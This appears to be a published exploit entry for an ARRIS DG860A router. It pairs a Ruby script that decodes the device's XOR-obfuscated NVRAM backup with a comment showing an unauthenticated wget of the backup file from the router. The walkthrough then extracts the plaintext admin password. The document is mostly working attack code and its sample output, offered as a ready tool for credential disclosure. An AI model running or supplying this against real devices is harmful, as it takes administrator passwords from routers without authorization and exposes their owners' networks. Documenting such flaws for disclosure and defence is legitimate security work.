ARRIS DG860A – NVRAM Backup Password Disclosure
#!/usr/bin/env ruby # ARRIS DG860A NVRAM Backup 'Compressor/Decompressor', it really does xor? # Gleaned from sc_mix executable in firmware dump. # # Backup file is world readable without authentication and contains password # information in plain text. # # box:arris-dev cosmo$ wget http://192.168.0.1/router.data # --2013-10-17 18:21:28-- http://192.168.0.1/router.data # Connecting to 192.168.0.1:80... connected. # HTTP request sent, awaiting response... 200 OK # Length: 3518 (3.4K) [application/octet-stream] # Saving to: ‘router.data’ # # 100%[=============================================================================================================>] 3,518 --.-K/s in 0s # # 2013-10-17 18:21:28 (108 MB/s) - ‘router.data’ saved [3518/3518] # # box:arris-dev cosmo$ tar vxf router.data # x backup/ # x backup/sc_nvram.usr.sc # x backup/sc_nvram.sc # box:arris-dev cosmo$ sudo ./sc_mix.rb -u -s backup/sc_nvram.usr.sc -d sc_nvram_dump # Password: # box:arris-dev cosmo$ cat sc_nvram_dump | tr "\000\000" "\000" | tr "\000" "\n" | grep sysAdminPassword # sysAdminPassword[0]=test123 # box:arris-dev cosmo$ # # # require 'optparse' require 'highline/import' require 'zlib' def Compress(infile, outfile) instream = nil outstream = nil size = 0 calculatedcrc = 0 data='' size = File.size?(infile) instream = File.open(infile,'r') data = instream.read() data = data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*') instream.close() if !instream.nil? outstream = File.open(outfile,'w') outstream.write("\x00NOF") outstream.write([size].pack('L>')) calculatedcrc = Zlib::crc32(data) outstream.write([calculatedcrc].pack('L>')) outstream.write([size].pack('L>')) outstream.write("\x00\x00\x00\x00" * 6) outstream.write(data) outstream.close() if !outstream.nil? end def Decompress(infile, outfile) instream = nil outstream = nil size = 0 embeddedcrc = 0 calculatedcrc = 0 data='' if !(File::size?(infile) >= 0x28) puts "[ERROR]: Source file size is insufficient(Smaller then 0x28 bytes)" exit end instream = File::open(infile,'r') if instream.read(4) != "\x00NOF" instream.close() if !instream.nil? puts "[ERROR]: Source file contains invalid magic(\\x00NOF)" exit end size = instream.read(4).unpack("L>")[0] embeddedcrc = instream.read(4).unpack("L>")[0] if !(File.size?(infile) >= (0x28+size)) puts "[ERROR]: Source file size if insufficient(Smaller then 0x" + (0x28+minsize).to_s(16) + ")" instream.close() if !instream.nil? end instream.seek(0x28,IO::SEEK_SET) data = instream.read(size) calculatedcrc = Zlib::crc32(data) if embeddedcrc != calculatedcrc puts "[ERROR]: Checksum mismatch" instream.close() if !instream.nil? exit end outstream = File::open(outfile,'w') outstream.write(data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*')) instream.close() if !instream.nil? outstream.close() if !outstream.nil? end #begin if __FILE__ == $0 options = {} opt_parser = OptionParser.new do |opts| opts.banner = "Usage: sc_mix.rb -s <Src_PATH> -d <Dest_PATH>" opts.separator "Usage:" opts.on('-s', '--source Src_PATH', 'Source File') { |v| options[:source_file] = v } opts.on('-d', '--destination Dest_PATH', 'Destination File') { |v| options[:destination_file] = v } opts.on('-u', 'Uncompress') { options[:uncompress] = true } opts.on_tail("-h", "Show this message") do puts opts exit end end opt_parser.parse! if options[:source_file].nil? or options[:destination_file].nil? puts opt_parser exit end if !File::exists?(options[:source_file]) or !File::readable?(options[:source_file]) puts "[ERROR]: File does not exist or there are insufficient privileges(sudo?)" exit end if File::exists?(options[:destination_file]) if !agree("[ERROR]: File exists attempt to overwrite[yes/no]? ") exit end if !File::writable?(options[:destination_file]) puts "[ERROR]: File is not writeable is there insufficient privileges(sudo?)" exit end end if !options[:uncompress] puts "[WARNING]: Compression is currently beta" Compress(options[:source_file], options[:destination_file]) else Decompress(options[:source_file], options[:destination_file]) end end |